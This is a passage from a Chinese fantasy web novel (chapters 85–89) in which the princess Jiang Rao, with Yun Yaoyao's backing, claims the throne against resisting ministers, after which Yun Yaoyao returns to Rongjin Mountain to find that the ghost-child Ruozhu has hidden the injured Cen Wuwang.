姜娆在朝晖殿的金色匾额下,面对犹在茫然无措中的宫人们,虚弱开口:“诸位受惊了,如今内乱虽平,可总要有人出来主持大局。孤已派人请右相与左相等重臣入宫。内廷之事,由太妃赵氏并内庭诸位官员决断,” 她顿了顿,侧身向云杳窈身边靠近了些:“本不该再烦扰云仙子,可如今仍有一事,希望你能与我一同前往。” 无论是处于何种角度,云杳窈都该拒绝。邬盈侯已死,接下来的事物便是姜氏内务与襄华国事了。 身为修道之人,不该插手凡间政务,身为流亡者,她更没有理由在此逗留。 可是姜娆拉着她的手紧抓不放,微微颤抖。她的语气很平静,可是眼神却带着哀求。 与邬盈侯的较量是血淋淋的生死相争,只有你死我活,没有两全其美。 可是那些不见血的风浪还在后头,姜娆一个已经外嫁的王姬,自强固然重要,可若真无一人陪伴,怕是要经受无数刁难。 止戈也很默契的没有表态,她什么都不关心,只在乎那两个被抱出来的婴孩。这会儿正在专心致志抱着女婴,已经在研究起她体内的帝王气。 于是,云杳窈思量了一会儿,没有拒绝。 可她仍有一件事要拜托止戈,且只能是止戈来做,她才能放心。 “殿下稍等,容我和止戈说句话,很快就会回来。” 一片阴影挡住了侧面投射过来的光,挡住了止戈的视线,她神色不耐,看向云杳窈。 对方将腕间的丝线斩断,递给她,若无其事道:“我去去就来,你替我看顾着阿冀一会儿。” 云杳窈垂眼看着自己手上的丝线,半天没等到止戈的动作,她又将手往前递了递,似有疑惑的看向止戈。 止戈呼吸凝滞,恍惚间下意识接过那根紧系着岑无望的鉴义,道:“你……你不怕我故意激他?” 云杳窈摆摆手,这根鉴义非寻常鉴义,而是一根 自她心脉延伸而出,与她同源的鉴义。上面有她的气息,能够安抚岑无望,所以她并不担心岑无望会无端暴走。 止戈所言也并非全无可能,但这里可是朝晖殿,先太子姜烛尸骨未寒,又有众多宫人在此聚集,止戈便是不为自己,也会为旁人着想。 她到底是个嘴硬心软的,不会真的冷血到袖手旁观。 云杳窈扯起唇边的笑,抬眼之际,被光晃了眼,突然有种恍如隔世的抽离感。她低声道:“你办事,我向来放心,若你都不可信,我还能信谁呢?” 她摸了摸止戈因激动而微微紧绷的侧脸,柔声道:“这会儿没有人,你去底下看看吧,他执念那么深,魂魄必定还在原地徘徊。” 止戈听闻,瞳孔微微收缩,她的唇角几不可见地抽搐了下,脸上罕见的露出了点不自在:“我……我不是想见他,我无意和他继续纠缠的。” 云杳窈拍了拍她的肩膀,没有反驳,她又取出一段鉴义,斩化为一根有实质的灵线:“那就当是替我去,他尸身为鬼气侵蚀,凡人不得近身,一直留在下面,恐异变化为尸鬼。你替他保留一具全尸,就当是全了他最后的体面。” 说罢,云杳窈转身离去,两段鉴义从她手中脱离。 止戈还下意识抓紧丝线,想要再说些什么。她仍在无措当中,可看着云杳窈渐行渐远的背影,随即慢慢有种尘埃落定的踏实感。 云杳窈却并没有表面上那么坦然,她在雷劫中看到的自己,应当是一直封印在她灵魂深处的一道灵识幻影,如今静下来,幻影却越发明显。 原本只是灵君残像,而后还有无数道与自己灵魂共振的倩影逐渐清晰。 因她这一世突破了自身瓶颈,原不可违抗的命数开始有了偏离,所以这些灵识才会解封。 那些曾经失去的记忆、功法都随之慢慢归拢,虽然没有完全恢复,但是假以时日,总能让她寻找到当年真相。 云杳窈有种预感,她在被自己推着走向曾经从未奢望过的机遇。 得道飞升。 不过,云杳窈的得道飞升并非只是为了长生,也更不是代表着要与曾经落井下石的仙庭同流合污。 不屈服的方式有很多,但只有站在和对手同一高度上,才有反抗的可能。 若一味躲避,或是满足于现世的虚妄,她很快便又会重蹈覆辙。 愚昧会同时带来长久的麻木与短暂的幸福,但绝对不可能带来公平。 世间不能再有第二个灵族,就如同她也不想再成为那个毫无反抗能力的剑君附属品。 云杳窈可以肯定,即便是飞升成仙,仙庭也不会是她最终一站。 如此大费周章去设局,蛰伏千秋百世,是为了寻找到一个,能够争取公平的机会。 她没能记起每一世的自己是何种境遇,何种野心,但她很了解自己的心性。 如荒野上一粒不起眼的草籽,若无生机,便深埋土壤,只求活路,可一旦逢水遇风,给她一点点希望,便会肆意疯长。 云杳窈走在漫长的宫殿残骸间,在尘埃遍地之处,看见了历史百代间生生不息的自己。 她们,或者说她,从未看轻过自己。 所有人都在簇拥着他,用眼神告诉她,往前走,不要回头。 那道打入她额心的灵识,终于再次迸发出光热。 在无人察觉的时刻,云杳窈的灵核苏醒了。 和云杳窈预想中的如出一辙,是一颗羸弱的幼苗,像是一株发育不良的仙草。 云杳窈很快便认出来了,这正是她前世死后,灵魂所附着的那株仙草。 原来这世上真的有人曾殚精竭虑,把过去、现在、未来中所有能够改写命运的方法一一试遍。 命途推演六十四,皆是无可解的死局,但在这其中,仍有生机一线。 那是她为自己博取而来的变数。 曾经在她在她眼前不断掠过的,所有人的命运在此刻交织,共同指向现世的云杳窈。 最前方的灵君停了下来,云杳窈抬头,与自己对望。 有关于灵君的记忆仍不完整,云杳窈知道,她并未完全通过自己为自己设下的考验。前路仍旧漫长艰险,她只是站在了起点,有幸窥得前世种种机缘。 她们沉默着望向云杳窈,如同看着每一世不服输的自己。 直到云杳窈与灵君并肩,百世不灭的灵魂终于在此刻归一,奔向云杳窈的身体。 只有一道灵识依旧暗淡,上面的封印依旧未能完全解除。 云杳窈听见灵君开口:“灵果重现之日,便是你真正了悟之时。” 第86章 说罢,灵君残影再次伸手,如同上次一般点在云杳窈额心。 这一次,没有劫后余生的残存紧迫感,也不再有任何慌张,云杳窈静静感受到千年前的自己是如何点拨自己。 一股如水般温柔,却又如火般炽热真诚的暖流自额心汇入识海,直至化作甘霖,浇灌在她的灵核上。 那颗不起眼的幼苗汲取了这股上古灵气,以肉眼可见的速度向上挺拔生长,云杳窈甚至能听见枝干快速生长时的咯吱声。 老旧的树皮承受不了过快的生长速度,渐渐脱落,经不住风雨的树叶也很快归于尘土。 好在,它们的去处终究是根系,它们的归途仍是母树。 一切的死亡都是为了更茁壮的新生,一切的离别都是为了再次相遇。 树如此,灵魂亦然。 云杳窈眼前幻景消散,人已经不知不觉到了巍峨宫殿中。 雷劫与人祸未曾央及这座古老的金殿。随着境界的提升,云杳窈眼中的世界越发清晰,她能清晰看到紫中带金的帝王气如烟荡漾。 气息未曾消散,但若无天命帝王做主,恐怕这里的帝王紫气会随着世间流失而飘散。 一代明主的恩泽至多绵延数十年。 而整个襄华的气数,竟要压到一只尚未开悟的女婴身上。 云杳窈从前只顾此身,如今或许是因为有了余力,顺其自然生出了些忧民之心。 当然,除却忧民,还有对姜娆的担忧。 姜氏仅存的希望不可能由婴孩承担,所有人的目光都会先向姜娆这个王姬投掷过来。 恰在此刻,姜娆侧首回望过来,她似乎是看出云杳窈的担心,强撑出一个笑容。 “仙子好洁,偏殿有侍女等候,不妨更衣后再来正殿。” 云杳窈微微一愣,抬手看见自己如今不伦不类的装扮,干笑两声,赞同她的提议。 俗话说得好,先敬罗衣后敬人,她如今这副模样确实不像仙人,像是逃亡而来的难民。 意识到这一点,云杳窈再也忍受不了,忙去换了身衣裳。 待她随着侍女脚步走入殿中,便听见两位苍老却威严的声音在争执不休。 “王位空悬,以臣愚见,从前流放的姜氏宗亲尚有后代幸免于此难,当为继位君主。” “不可!若依照如今的事态,寻个不知秉性的庶人,岂不是将我襄华江山拱手让人!” “左相这般笃定难担重任,老朽却不是可有齐全之策?” “依我之见,论亲疏远近,老臣倒是有个中意人选。”他顿了顿,余光扫过阶上姜娆,“王姬所诞为龙凤双胎,不若将男婴过继给先太子烛,前朝立摄政辅臣,另请赵太妃垂帘听政。如此,既全了殿下身后香火供奉,也能善待王姬。若是新君出自早已被废黜的宗室血脉,恐他心生怨恨,对王姬不利。” 两位垂垂老矣的臣子坐在软凳上,互相对峙,压根没有把争辩机会分给旁人的意思。 前人语气很缓,后者语速虽快,但仔细听来,两者说得有来有回,你一言我一句。 殿上臣子各站一边,躬身低头,无有不从,姜娆虽是站在高位,可这么一来,一句话都插不上。 左侧的臣子说罢,终于问了姜娆:“王 姬以为如何?” 云杳窈算是搞明白了,这两人看似意见不合,其实目的只有一个,那就是逼迫姜娆将权力移交前朝。 什么宗室遗留的血脉都只是幌子,姜娆压根没有选择。 他们以为姜娆很快便能看清利害关系,毕竟过继孩子于她而言,就是多一道护身符。 无论权力移交给谁,姜娆都会是襄华幼主的生身母亲,若只求在内廷安稳了却余生,自然是个好选择。 但姜娆犹豫不决,迟迟没有答应下来,直到她看见熟悉的身影站在了两条队列的中间。 云杳窈抱拳躬身:“问王姬殿下安。” 姜娆道:“快快起身,仙子既不是俗世中人,何必拘泥于俗礼?况你我之间,何必被礼节所扰,快站到我身侧来。” 姜娆的身后,便是王位。 细数襄华历史,还没有一个除姜氏王族外的人能坦然站在王座前,接受臣民仰视。 那些臣子忌惮她身份,默契地对云杳窈移步上位的动作视若无睹。 幸而,她仅仅是站在了两位相国中间,没有真的到王位前。 云杳窈道:“我虽不是襄华子民,可也做过凡人,知晓些礼数。殿下为君,体恤臣民,是为慈爱,可臣民却不能为私冷待了殿下。殿下不开口,我怎好自行免礼?说出去要被后人笑话,质疑襄华前朝文人风骨已死,连一个敢维护君主颜面的人都找不出。” 她仍立于阶下,被众人目光围绕。 “为了诸位的身后名着想,在殿下未曾首肯前,我自然该行礼。” 如此明晃晃的嘲讽,自然有人出列反驳。 两位老臣未曾动身,便有一名末位年轻臣子义愤填膺道:“阁下此言,是要置我等于何地?更何况,此刻正是我襄华危急存亡之时,众人皆知,新君未定,何来不曾维护君主一说?” 云杳窈道:“凡入了这宫殿之内,殿下之人便都是臣,我与诸位无有不同。” 她转身与那位臣子对视:“反之,殿上之人便是君。旧主已死,新主未立,王姬便是掌权者,大人可有异议?” “咳,云仙子终归是方外之人,仙人久不理世间事,还是不要插手我朝国事才好。”右相忍不住起身打断,他颤颤巍巍走到云杳窈身边,苍老的身形佝偻着,只勉强到了云杳窈肩膀处,“王姬圣明,只是国不可一日无主,臣恭请王姬速下决断,保我襄华江山。” 他话音刚落,周围的人像是得了某种启发,齐刷刷跪了一地。 “恭请王姬决断。” 姜娆望向云杳窈,她则勾了勾手指,示意几位宫人过来。 三位宫人,一位端着笔墨,一位捧着诏书,中间那位则端着襄华帝王玺印。 她亦躬身,却不是逼迫,而是为姜娆提供几个选择。 “请王姬抉择。” 云杳窈自然不能代替姜娆做选择,襄华气数未尽,她插手此事,不止是看在私交情分,也有自己的筹谋。 若姜娆愿意,她们会是彼此的盟友。 若姜娆厌倦了争斗,选择居于深宫,她亦会尊重她。 只是南有照渊阁,西有乾阳宗,北有世家无数,东面被嵘烬山脉切割开,是一片荒芜的不毛之地。 仙门权力虽大,但王权统治天下凡民,亦不容小觑。 云杳窈需要襄华君主的助益,而无论是落魄宗室之后,还是那个命数不明的女婴,都过于飘渺。 她抬眼,看向殿上之人。 那才是她最有可能获利的王位人选。 姜娆或许比云杳窈见过的所有女子都要娇弱,但她同时又有着和世间所有女子一样坚韧的心性,她们从不惧怕血腥,甚至不惧怕死亡。 娆,本意柔若、娇媚,但语意会遂历史流变,姜氏先王为她赋予此字时,恐怕也没想到,如此娇弱的王姬,亦有杀敌救国的勇气,哪怕有人不愿承认,但后世读史,总会看到她的那行耀眼功绩。 至于史书上记载的是帝王姜娆,还是王姬姜娆,全在她的一念之间。 云杳窈只会提醒她,却并不会替她选择。 朝臣能够以辅臣之名把控前朝,那姜娆也能借帝王之气成事。 姜娆在云杳窈的鼓励下,手中的笔啪嗒按了回去,转而握住帝王玺印。 见此情景,众人已经明白她们二人的目的。 臣子们已经抬头,看见玺印到了姜娆手中,惊呼不可。 “女君临朝,亘古未有之奇事,若被上天知晓,恐有祸患!” “殿下慎重!诸位先王若是知晓您有夺位之心,九泉之下也难得安宁!” “太子烛!太子烛尸骨未寒,殿下怎可夺兄长之位?” 左相道:“殿下若是不满先前提议,依臣之见,尚有回旋余地,不如改日再行商议。” 右相也说:“非老臣愚昧腐朽,可女子继位,实在是……实在是没有先例可循。” 晚了,在姜娆捧起玺印的瞬间,云杳窈已经挥退了宫人,并且挡在姜娆身前,不给任何人夺诏书和玺印的机会。 “那历史可以改一改了。”云杳窈摸了摸腰侧佩剑,露出寒光一寸。 “史册未有先例,那就从此处开个先例。” 云杳窈的剑拔出来,殿上之人皆是胆战心惊,都静了下来。 但右相却在寂静中突然高呼:“不可!” 他笔直跪着,佝偻的背都挺了三分。 “老臣历经三朝,曾为太子太傅,王姬和先太子是我看着长大的。于公,我不能任由江山旁落,于私,臣已经亲身经历了储君的逝世,不能由着一手教导出来的另一个孩子做遗臭万年的罪人。” 姜娆终于开口:“右相,孤幼时明明与王兄一样出类拔萃,你后来为何要执意拒我于门外,你提起师徒缘分、教导之恩,孤却仍记着此事,原以为今生无解,今日终于有机会亲口问一句,你为何不肯继续教导我?” 右相眼眶发红,他双臂颤抖,其心不改。 “若臣早知今日,只会后悔,为何没能更早些拒绝王姬。让王姬生出这些繁杂念想,是臣失职。” 他苍老的身躯再度深深伏地,声音不似先前激动,却依旧铿锵有力。 “臣,请王姬归还玺印。” 云杳窈听得心烦,她不明白这些有什么好纠结的。不愿效忠的臣子,留着也是祸患,换一个便是了。 想到此处,她挥剑斩去右相首服,他花白的头发登时散落。 几人围了过来,想要扶起他,多是些原先立于右相身后的臣子。 不过也有几人看清局势,沉默不语,仍跪在原地。 云杳窈冷眼瞧着,收剑归鞘。 她声音不大,却盖过殿中短暂的喧闹。 “不愿臣服者,可脱去这一身官袍,归还王室所赐官印,且去寻你的忠君之道,何须忍辱负重,再侍新朝?” 第87章 右相听罢,从一旁的臣子手中取回冠帽,将它抱在怀中。 他借着旁人的手重新站了起来,披头散发,面容憔悴。见姜娆毫无挽留之意,梗着脖子转身离去。 人群中有人亦步亦趋跟着他,想要搀扶着他出宫,却被他强硬拂开。 “我已是朽木一具,诸卿尚有仕途前程,何必惹新君厌弃?” 他一步一步朝大门走去,行至殿中,身后仅剩一人保持着半身距离跟在后头。 他抬头长叹,已经顾不得自己会怎样狼狈退场。 “臣愧对先王与先太子君恩,女君临朝,此等大逆不道之事,必得天谴。” “此身老矣,于社稷无用,于家国无用,于旧主无用。” 说完,他猛地向一旁的柱子撞去。 砰—— 一声巨大的碰撞声在殿内炸开。 预料中的血腥场面未能发生,原来是一柄剑插入柱中。 剑柄所带的灵气将他弹开,他瘫坐在地,看见止戈不知何时出现在殿上,单手将已经嵌入柱子内的剑拔出来。 “呦。”止戈便将剑插回剑鞘,便扫视了一圈殿中乱景。 止戈这个太子幕僚的身份不过是个方便随时出入太子府邸的借口,她是个从不插手襄华党派争端的闲散过客,压根不认识几个朝臣。 但这个没能血溅金柱的老头,止戈不仅认识,还有过一段过节。她这会儿心情不爽,连带着不给他好脸色:“右相,怎么干坐在这里,殿下没给你赐座?” 与问心的绝对服从不同,止戈的剑如她本人一样,带着点倔脾气,兴许是此行没能得偿所愿,剑归鞘后仍有嗡鸣声。 止戈拍了拍孤遐,示意它安静。 “怎么一个两个都这么不会看眼色,连个扶右相起身的人都没有。” 止戈说完,薅了一把右相手臂,将他整个人摆正。 好在她尚且拿捏分寸,右相稳稳站定,胳膊腿儿一应齐全,尚无散架风险。 止戈又看向抱印的姜娆,以及冷眼旁观的云杳窈,立刻明白了如今局势。 “姜老头,要识时务啊。”她好言劝告。 右相以为止戈是来帮他的,像抓住了最后的希望,道:“你是太子幕僚,难道不明白,这是在谋朝篡位,是在染指殿下的位置啊!你忘了为臣的本分了吗?” 他声音颤抖,说到动情之处,甚至流出一滴浑浊的眼泪来。 止戈定神看了看云杳窈,道:“右相,无人比我更懂忠君,我终其一生,都在追随明主脚步。” 但她没有站到右相身侧,而是来到云杳窈身后,如影子一般隐在她背后。 右相瘫软在地,他口舌发干,几欲昏过去。 就在这时,姜娆走了过来,但她并不是为了归还玺印,而是心中尚有话要说。 她的这些话在心里憋闷太久了,或许是从幼时不得不放弃圣人典籍,拿起珠钗绣布开始,或许是从见到云杳窈开始,也或许是从下嫁叛军开始。 时间都将她的口齿磨钝了,以至于叫她下意识露了怯,给了他们一种自己可以任人愚弄的错觉。 在这场新旧两派无法达成和解的争辩之中,姜娆莫名有点想笑。 她回忆起父王与王兄的模样,他们都是最为和善仁厚的君子,仿佛生来就是襄华的君王,是以不需要任何激烈言辞、雷霆手断,便能令臣子俯首帖耳,心悦诚服。 若是父兄,应当会再请这位老臣回朝效力。 可是过往君主的做派已经不适用于新朝,姜娆仔细想了想,没有学着父兄的模样,暂时做出退让。 “襄华的子民流的血够多了,哀嚎也足够多了,孤不需要以你的血来震慑四方。” 姜娆亲自走近,扶起这位三朝老臣。 “但你也休想以此要挟孤退居内庭,孤会赐你免死恩荣,饶恕你今日不敬新君的罪过。孤还会下令保你辞官后衣食无忧,因为还要让你亲眼见证新朝光辉,看看襄华子民是如何在孤的治下安居乐业。功过非一时之说,自有后世千秋万代评定。 老师,你太老了,老到忘记了,一个王朝的兴衰并非仅仅系于某君某臣身上,这天下,是人的天下,这襄华,是襄华子民的国土。故而,这朝堂,不止会有女子为君,也当有女子为臣,未来,还有有无数个太女。” “莫说你一人,任何人都无法阻挡。” “荒唐……”右相嘴唇颤抖,“殿下的意思是,以后也不打算还朝于幼子?那何时还朝,十年,还是百年?你到底想干什么!” 他呼吸急促,翻着白眼,似乎下一刻就要晕倒。 “孤会一直挑选资质优异的女子入朝,直到人们习以为常,直到女君、女朝臣前的赘述不再被人提起,直到我们的名字不再被刻意抹去。” “老师,你到了地下再耐心等待些时日,兴许与历代功臣名将高谈阔论时,我们那段短暂的师徒情谊,才是你毕生最值得夸耀的功绩。” 尽管姜娆知道,从始至终,右相都极力与她撇清关系。 姜娆今日打赢了两场战役。 一场为报王室血仇,一场则为了天下。 姜娆目送着右相等人离场,又接受着殿中他人的朝拜,听他们如何毕恭毕敬为新朝进言献策,只为她垂目首肯的那一刻。 或许这些跪拜在她脚下的臣子并非全然真心,但是这都不重要。 重要的是,她再也不必为了什么家国大义,嫁给一个压根不尊重她的丈夫。不仅如此,她往后还能庇佑更多和她处境一样的人。 就像是,曾经多次朝她伸出援手,救她于水火之中的云杳窈一样。 殿中臣子散尽后,姜娆才想起自己似乎冷落了云杳窈与止戈。 她追着出去,幸而两人未曾拔剑,还在边走边闲聊。 “你把岑无望放哪了?他没跟着过来吗?” “放心,我让剑灵带着他回嵘烬山了,你会和我们一起回去的,对吗?”止戈侧首,眸光闪动,似乎有点故作镇定。 云杳窈还没说话,便听见姜娆气喘吁吁追上来。 “留步!两位何不再多留些时日。我还有好多话想请教,也有好多事没来得及做,如果留我一人……那可如何是好?” “你在怕什么?”止戈被姜娆打断了话,好气又好笑,但看见这位新任君王的年轻面孔,心中又有所触动,不忍责备。 瞥了一眼,看见云杳窈正笑着看她,止戈摸了摸鼻尖,索性不再多说。 “我们二人尚有要事在身,恐怕要在此与你作别。”云杳窈本就是明媚如枝头晴光的长相,笑时露出虎牙,让原本有些伤感的气氛松快了不少。 “你既担起重任,何愁没有我倚仗你威严的那日?” 姜娆被她逗得笑了两声,但她嘴角很快又耷拉下去。 “可是……”姜娆面露难色,“我还是有些担心,如果我做不好的话,那怎么办?岂不教天下以为女君无用。” “治国之事,便是圣人在世,亦难免出些错漏。此番人祸虽令朝野震荡,但尚有臣子可用。你若有明辨是非的能力,自然不需要我们再留下来指点什么。” “襄华的前朝,尚有能臣,王朝气数未尽,怎么可能因你是个女子,就轻易败干净了。如果女子身份真有这般威力,邬盈侯早就捏个女身篡权夺位了。” 云杳窈顿了顿,突然道:“我有件事拜托你去做。” 姜娆已经镇定下来,她附耳过去,听云杳窈密语。 止戈斜着身子,抱臂而立,看见这番场景,终是忍不住小声道:“有什么不能告诉我的,还不让我听了。” 云杳窈说完就听见她的抱怨,无奈道:“你很快就知道了。” “有多快?”止戈问,她从前在灵族王宫的时候,就很喜欢追着灵君刨根问底。 因此,当她说出这几个字的时候,恨自己嘴比脑子快,有些绝望地闭上了眼。 “先回家。”云杳窈和从前一样,没计较她心直口快,“等回家后再说。” 止戈被她顺其自然的回答镇在原地,她面无表情,好半天才想起去摸腰侧的剑。 回家回家,其实仔细想来,她们的家早就已经在那场浩劫之中烟消云散。 那就只能回嵘烬山了。 可是与灵君一起回嵘烬山的路也好漫长,止 戈等了几千年,等得她都有些忘记了那些灵族同伴们的面孔。等得山火之后的新芽突破焦土与灰烬,幼苗长成参天大树,遮天蔽日,再也找不到从前的痕迹,才换来今日的重逢。 真是太过漫长的一场等待,几乎把她一辈子的耐心都倾注进去了。 止戈深吸一口气:“对啊,先回家吧。” 云杳窈却走到她面前,抬头看了看她的脸,神情里带着点狡黠,故意问她:“怎么哭了?” 止戈坦然道:“太高兴了。” 她对灵君向来坦荡。 于止戈这些灵族侍官而言,灵君不仅是她们要尽心辅佐的君王,也是如母亲一般的存在。 可是这位灵君又与千年前不太一样,云杳窈的眉宇纤细,脸颊上还带着些细小的、泛着金光的细腻容貌。 岑无望这厮不太靠谱,不知为何没能照料好她,身量竟然比止戈还要矮上些许,看向人时双眼总是带着点圆滑世故的天真。 无论怎么看,都有点太过年轻。 止戈自然不好意思再与她撒娇卖痴。 但是云杳窈的手牵起她的手,在空中晃了晃,亦如千年前,她曾亲手拉起她进入灵族王宫。 那些模糊的记忆突然清晰了起来,掌心依旧温暖。 “既然高兴,何必扮出苦相来。止戈,你该为自己多笑一笑。” 第88章 上次云杳窈来到嵘烬山,是形势所迫,对此处多是好奇,并无特殊的念想。 如今灵核与记忆苏醒,再上嵘烬山,难免生出些感慨。 遮天蔽日的林木绵延数百里,青山枯荣不随人,它自有四季轮回。 这里是传说中的神陨之地,人修止步于经年不散的山雾外,为苍山灵脉的枯竭而长叹。 然而鲜有人知晓,堕神的尸骨与山脉融为一体,百年未散的怨气笼罩整个中原,将真相彻底掩埋。 灵脉从来都没有断绝,而是深埋地下,从镜湖喷涌而出。 而这些溢出的灵气,并没有消散飘走,而是和误入此地的外界生灵一般,被堕神余威永远困在了这里。 山门仍是旧时模样,甚至还能看到箬竹站在山门口,仰头看着什么。 流云缱绻,飞鸟停驻。 止戈脚步快些,先走到箬竹身旁,开口问她:“在看什么呢?” 箬竹似乎对止戈的来去无踪习以为常,并没有分眼神给她。她抬手,用目光和手指接住了一只燕子。 “哪来的燕子?”止戈道,“我怎么没见过。” 嵘烬山易守难攻,易进难出。而燕子生性喜欢温暖,春日在北方筑巢,秋末又要不辞辛苦,南飞远渡。 这种自由又有灵气的鸟,若是被困在嵘烬山,冬日还未真正来临就会郁闷而死。 “从前误入此地,待到秋日时被我放走了。如今时节未到,居然又飞回来,也算是故交吧。” 箬竹抬眼,看向不期而至的云杳窈。 “旧燕归巢,游子新归。箬竹,拜见主人。” 云杳窈从箬竹的身上感受到了一股熟悉的感觉,她听见箬竹的称呼,并不接话,而是看向一旁的止戈。 “怎么回事?” 止戈牵起箬竹,边走边说。 “其实我箬竹并非真正的世中鬼魂,她是我用上古秘法拟魂而生的一只小鬼。” 云杳窈问:“和襄华的那两位一样?” “不。”止戈当即否认,然而她又陷入踌躇,好半天才理顺思绪。 止戈开口就让云杳窈差点半个跟头。 “其实她就是你。” 云杳窈道:“那怎么可能。我三魂皆在,七魄俱全,怎么会有个这么小的分身。” 止戈干笑两声,道:“我从仙庭的琅嬛福地偶然看到一本奇书,上面有根据魂魄拟态的法术,我便偷偷记了下来,谁知下界后,人间太过无聊,我便仿照你捏了个小鬼出来。” 箬竹从止戈身侧探出个小脑袋,直言不讳:“我是你的替死鬼。” 止戈闻言大惊,赶忙弯腰捂住她的嘴。她将箬竹整个抱起,架在臂弯上。 “小孩子瞎说什么。”止戈道,“谁跟你说的。” 箬竹眨眨眼,虽然口舌不便活动发声,但她不知跟谁学了传音的本事,稚嫩清脆的声音很快便环绕在两人耳边。 “不是替死?那我还有什么用。承载了欲念而生的鬼魂,不就是为着了却原主遗憾而生?” 箬竹的眼神直勾勾看向云杳窈。 “我很早就看见了。” “她的愿望,是一直活下去。” 第89章 箬竹两腮犹带着软肉,头上两颗梳理整齐的圆髻,就这么朝天而示,横冲直撞,像林野中野蛮生长的幼鹿双角。 她有着近似于无情的直觉和洞察力。 云杳窈注意到,不过一段时间未见,她原本空荡荡的裤腿里已经化出和寻常孩童别无二致的健全双腿。 只是她的脚下,仍旧没有长出影子来。 这是拟态新生魂魄的天然缺憾,获得生命,可灵魂永远受制于方寸之地。 既无过去,也不会有来生。 云杳窈闻言,先是一怔,而后浅笑着摸了摸箬竹的发顶。 “很可笑吧?”她眼睫微垂,掩饰眼中情绪“但是,如果一个人连生欲都不复存在,还能称之为活人吗?只有行尸走肉才会不考虑明天。” 在云杳窈的生命中,活下去的意愿高于一切。 从前想活下来,是因为什么都得不到,心有不甘,处处遗憾。如今想活下来,是因为心中有千般不舍,太多牵绊牵住了她的心魂,所以无法做出一副满不在乎的潇洒模样。 几人走过两侧荒草遍布的长街,还未见到亭台楼阁的影子,忽见一人从高处冲了下来。 她脚下生风,见到止戈抬头,才硬生生止步于此。 “慌什么。”止戈拦住剑灵孤遐。 剑灵所化人形,是个约莫二八年华的年轻女子。因孤遐剑势灵巧,剑身窄长,所以她的身形也格外纤细高挑,像是止戈手中挥出去的一道剑光。 她偷偷打量了一眼云杳窈,然后咽了口唾液,小声道:“不见了。” “谁不见了?”止戈蹙眉道。 云杳窈见情况不好,先行稳住止戈,对孤遐说:“别着急,慢慢说。” “岑小君,没影儿了,”孤遐说完,语气更急了,有点欲哭无泪的意思,“我前脚送他回来,便听见他梦中说着胡话,浑身发烫,人还没落地,先吐了我满身的血。我想着总不能眼睁睁看着他去死,于是换了身衣裳,又去阁中寻了些药来,结果回到院子后,便看见他人已经不见了。” 止戈看着她手里的药,摇了摇头,恨铁不成钢:“他吐血,你拿外敷的止血药,怎么治他?” 云杳窈揉了揉眉心:“重点不是这个,当务之急应该是赶紧找到岑无望的下落。” 岑无望如今一身伤病,人也属于半昏迷状态,单凭他自己,不可能离开嵘烬山迷阵。 “屋内的灵气和鬼气痕迹找了吗,指向何处?”云杳窈问道。 “这才是最蹊跷的地方,”孤遐两手一拍,“小君身上的鬼气还停在床榻上,压根没有变动,我怀疑是被人掳走了,这才急忙跑下山寻你们。” 止戈闻言,眉头却舒展开来:“不可能啊,就算是晏珩,也不可能逃过山门大阵。” 她单臂抱着箬竹,抬手间挥出一道灵力,唤守山灵兽出来。 “玄隐。” 玄色巨蛇从她背后绕出,吓了云杳窈一跳,她倒吸一口气,连退两步,却看见那蛇化作位玄衣男子,一身锦袍在阳光下波光粼粼,像是古井余波,又像是化形时未褪的层层蛇鳞,时隐时现,有种说不出的神秘和古怪。 玄隐站在止戈身后,笑时眼睛眯了 起来,那惑人心神的黄金竖瞳也掩去多半。 “贵人勿怪,平日里不曾面见生人,所以忘记化了形再现身。” 止戈问:“可见有生人出入山门?” 玄隐回:“除了一只误闯结界的燕子外,连只生蚊子都没看见。” 燕子是寻常燕子,即便比旁的鸟雀多些灵性,也不过是有些认人识途的本事,并无异样。 要是非把过错推给燕子,那才是真笑话。 玄隐打着哈欠,身影渐淡:“没有别的要紧事,我就回去睡觉了,整天看孩子都够累了,你有本事跑下山悠闲,有本事以后别把这苦差事托付给我。” 他指的是看着箬竹这件事。 诚然,箬竹是个看似人畜无害的稚童,可她已经有几百年的寿数,因被困在这山上,久不知世间变化,所以寂寞得狠了,也会找些事来做。 玄隐已经回了阵法洞天内,声音还在幽幽抱怨。 “前段时间,这小怪胎训练了一支蚁军,要在这山上自立为王,因臣民寿命太短,说什么也要找龙肉为它们续命,趁我在树下打盹,老子的鳞片都被偷偷掀了几片,伤到现在还没好,你再不管她,她迟早把整个山头掀了。” 在场众人沉默半晌。 “孤遐,你确定岑无望是在床榻上凭空消失的,对吗?”止戈问。 “从鬼气痕迹来判断,是这样没错。”孤遐道。 “既然玄隐说没人来过,那整个山上只剩下你和另一个人有嫌疑,如果你不是把岑无望就地处理了,那就只剩下……” 止戈看向佯装无事的箬竹。 所有人都同时看向箬竹。 “你告诉姐姐,你有没有擅自将外来的客人藏起来?”止戈忍着怒意,温声问箬竹。 等不到箬竹回答,止戈还摇了摇她,将她从袖中摸来的玄色鳞片。 蛇鳞不能拔下来,但玄隐是修炼数百年的大妖,额上生角,原身近似蛟龙,每一片鳞片都是经受苦修得来的天然甲胄,无一不是为了抵御雷劫所化。 可现在也顾不得去计较蛇鳞的事了。 止戈伸出手:“把他交出来。” 箬竹淡定将蛇鳞放在她手心:“给你。” 止戈忍无可忍,伸手抽了她一下,以示警告。 “别装傻,你知道我说的是什么。岑无望呢?就是那个被孤遐带回回来的男子,你把他弄到哪里去了?” 箬竹淡定道:“他要死了,不如做养料好了。止戈,你太心软了,如此软弱无能之辈,怎么配成为灵君大人的辅臣,他只会成为软肋。” 箬竹从她怀里挣脱,跳到云杳窈面前。 她每走一步,便长高几寸,转瞬间就化成和云杳窈一般年纪的少女模样。 “我等了你很久。岑无望不能做的,我可以帮你做。我会是一把比他更锋利的刀,也会是你更忠诚的臣子,让我做你的新影子吧。” “恕我难以理解你话中之意。岑无望于我至关重要,请你立即将他的下落说出来。”云杳窈道。 问心出鞘,云杳窈微微抬起下巴:“你若不愿好好同我讲道理,那就和我的剑诡辩。” “看。”箬竹小小的脸上竟然露出了一个勉强可以称之为笑的表情,她似乎很满意云杳窈的表现,对她的威胁不以为然。 “一个羸弱的君主,不该配上一个更加孱弱的小君。靠他这种无能之辈,灵族何时才能重见天日,灵族人的冤屈什么时候才能洗刷干净。岑无望优柔寡断,并非能臣,我不一样,我会永远做出有利于灵族光复重兴的选择,哪怕君王剑指命门,我亦无怨无悔。” 说着,箬竹迎着剑向云杳窈靠近,她负手而立,任凭剑尖的锋芒悬在她咽喉前。 